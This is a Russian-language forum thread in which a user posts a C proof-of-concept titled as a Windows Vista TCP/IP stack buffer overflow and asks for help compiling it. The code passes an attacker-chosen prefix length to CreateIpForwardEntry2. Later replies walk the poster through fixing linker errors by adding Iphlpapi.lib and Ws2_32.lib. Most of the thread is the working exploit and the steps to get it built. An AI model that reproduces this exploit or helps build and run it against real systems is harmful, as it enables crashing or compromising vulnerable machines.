![]() |
MS Windows VISTA TCP/IP Stack Buffer Overflow PoC
#define _WIN32_WINNT 0x0600
#define WIN32_LEAN_AND_MEAN #include <windows.h> #include <winsock2.h> #include <ws2ipdef.h> #include <iphlpapi.h> #include <stdio.h> #include <stdlib.h> int main(int argc, char** argv) { DWORD dwStatus; MIB_IPFORWARD_ROW2 route; if (argc != 3) { printf("Usage: %s <ifNum> <numOfBits>\n\n", argv[0]); return -1; } InitializeIpForwardEntry(&route); route.InterfaceIndex = atoi(argv[1]); route.DestinationPrefix.Prefix.si_family = AF_INET; route.DestinationPrefix.Prefix.Ipv4.sin_addr.s_add r = inet_addr("1.2.3.0"); route.DestinationPrefix.Prefix.Ipv4.sin_family = AF_INET; route.DestinationPrefix.PrefixLength = atoi(argv[2]); route.NextHop.Ipv4.sin_addr.s_addr = inet_addr("11.22.33.44"); route.NextHop.Ipv4.sin_family = AF_INET; route.SitePrefixLength = 0; route.Protocol = MIB_IPPROTO_NETMGMT; route.Origin = NlroManual; route.ValidLifetime = 0xffffffff; route.PreferredLifetime = 0xffffffff; route.Metric = 1; dwStatus = CreateIpForwardEntry2(&route); return dwStatus; } Помогите скомпилировать!!!! |
Цитата:
вот здесь: Цитата:
Цитата:
|
111.obj : error LNK2019: unresolved external symbol _CreateIpForwardEntry2@4 referenced in function _main
111.obj : error LNK2019: unresolved external symbol __imp__inet_addr@4 referenced in function _main 111.obj : error LNK2019: unresolved external symbol _InitializeIpForwardEntry@4 referenced in function _main В Visual C++ вот эти ошибки! ip вставлял - результат такой же |
хэдеры ты вставил, а библиотеку с этими функциями к проекту подключил?
|
[/QUOTE] а библиотеку с этими функциями к проекту подключил? [QUOTE]
Я в C++ не селен. В основном на Delphi все пишу! Подскажи название библиотеки? |
св-ва проекта -> Configuration Properties -> Linker -> Input -> Additional Dependencies
вписывай Iphlpapi.lib Ws2_32.lib |
| Время: 21:35 |